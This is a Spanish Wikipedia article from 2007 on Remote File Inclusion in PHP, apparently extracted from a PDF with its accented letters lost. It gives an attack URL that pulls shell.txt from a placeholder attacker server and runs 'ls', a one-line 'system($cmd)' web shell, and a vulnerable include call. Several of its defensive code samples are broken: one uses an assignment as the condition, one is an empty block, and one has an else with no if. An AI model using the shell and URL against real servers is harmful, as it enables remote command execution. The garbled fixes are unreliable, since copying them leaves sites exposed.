You are on page 1of 3

Remote File Inclusion

De Wikipedia, la enciclopedia libre


RFI (Remote File Inclusion), traducido al espaol como Inclusin Remota de Archivos - vulnerabilidad
existente solamente en pginas dinmicas en PHP que permite el enlace de archivos remotos situados en
otros servidores a causa de una mala programacin de la pgina que contiene la funcin include().
Este tipo de vulnerabilidad no se da en pginas programas en ASP o en cualquier otro tipo de lenguaje
similar que no contenga la posibilidad de la inclusin remota de archivos ajenos al servidor.

Resumen del ataque


Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma pgina
otras pginas a la vez, por la necesidad de utilizar un cdigo fuente o por otras diversas razones de
programacin.
Una pgina vulnerable que presente un aspecto similar a este en su URL:
http://[servidor_victima]/index.php?page=plantilla.html

El atacante podr obtener una Shell en el servidor vulnerable mediante lo siguiente:


http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier cdigo, por ejemplo:


<?
system($cmd);
?>

El archivo debe tener una extensin distinta a cualquier otra que se pueda ejecutar en el servidor del atacante
(.txt, .gif, etc), una extensin ".php" no sera vlida, ya que en el servidor vctima al incluir el fichero con
extensin .php se estara ejecutando antes el cdigo php en el servidor del atacante; recordemos que el
cdigo php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el cdigo del
script malicioso debe ir con una extensin distinta, ya que la funcin include, require, require_once,
include_once ejecutara el cdigo php contenido en el fichero que se pasa como parmetro a la funcin, sin
importar la extensin que tenga.
Lo que la victima incluye en su pagina son secciones que se pasan a la variable page segun el ejemplo.
<?
include_once($page)
?>

Detener el ataque
Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

<?
if ($url="seccion")
include ($url.".php");
?>

<?
switch($url) {
case 0:include ("./contenidos/estapagina.php"); break;
case 1:include ("./contenidos/estaotra.php"); break;
default: include("./contenidos/error.php"); break;
}
?>

<?
$url = intval($_GET['url']); //$url solo contendr un valor entero.
$pagina = "./contenidos/cont".$url.".php";
if (file_exists($pagina))
include($pagina);
?>

Prevenir el Ataque

Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe
encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:
<?
?>

De esta forma no podra utilizar la variable page para RFI.

Otra Solucin

Otra solucin ms avanzada es aplicar una validacin de la variable enviada como parmetro, descartando la
inclusin de archivos remotos no deseados.
<?
die('Error. intento de RFI..');
else
include ($url);
?>

Con este cdigo evitas este tipo de ataques, que son fciles de solucionar pero que muchos programadores
no se dan cuenta o no dan importancia.
Obtenido de "http://es.wikipedia.org/wiki/Remote_File_Inclusion"
Categora: Hacking

Esta pgina fue modificada por ltima vez el 03:35, 1 abr 2007.
Contenido disponible bajo los trminos de la Licencia de documentacin libre de GNU (vase
Derechos de autor).
Wikipedia es una marca registrada de la organizacin sin nimo de lucro Wikimedia Foundation,
Inc.

You might also like